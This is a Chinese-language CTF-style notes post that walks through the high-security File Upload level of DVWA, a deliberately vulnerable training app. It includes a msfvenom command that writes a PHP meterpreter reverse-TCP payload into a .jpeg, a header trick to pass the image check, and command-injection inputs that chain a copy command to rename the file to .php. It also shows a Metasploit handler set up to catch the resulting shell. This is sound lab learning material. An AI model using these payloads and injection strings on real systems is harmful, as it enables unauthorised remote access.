DVWA File Upload level high 通關

• 2022 年 10 月 8 日
• 筆記
• CTF

由於level 是 high

1.程式碼審計

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
} 

可以看到對文件類型 和文件大小，文件後綴做了判斷

2. 使用 msfvenom 生成shellcode

# lhost 為監聽機ip（一般為本機）lport 為監聽埠
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.ip.ip lport=3333 -f raw >> shell3.jpeg

3. 為了繞過getimagesize函數的檢查，vi打開shell.jpeg，頭部添加一行GIF98

4. 上傳文件

5. 點擊菜單進入Command Injection, 我們需要使用命令注入來將文件後綴由jpeg改為php，這樣後面訪問時，伺服器會執行該文件

在框中輸入：

#查看
127.0.0.1|ls /app/hackable/uploads/shell3.jpeg
# 複製
127.0.0.1|cp /app/hackable/uploads/shell3.jpeg /app/hackable/uploads/shell3.php

6. 啟動msf 等待我們的shellcode的連接

msfconsole

sf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.ip.ip 
lhost => 192.168.ip.ip
msf6 exploit(multi/handler) > set lport 3333
lport => 3333
msf6 exploit(multi/handler) > run

7. 瀏覽器中輸入

//192.168.靶機.ip/hackable/uploads/shell3.php

8. msfconsole 將會看到連接資訊，並可以使用命令操作靶機了

Ps： 當然使用weevely 也是一樣可以實現的，唯一的區別，weevely是作為客戶端去連靶機shellcode，而msf是作為服務端等靶機的shellcode來連

參考： //www.hackingarticles.in/hack-file-upload-vulnerability-dvwa-bypass-security/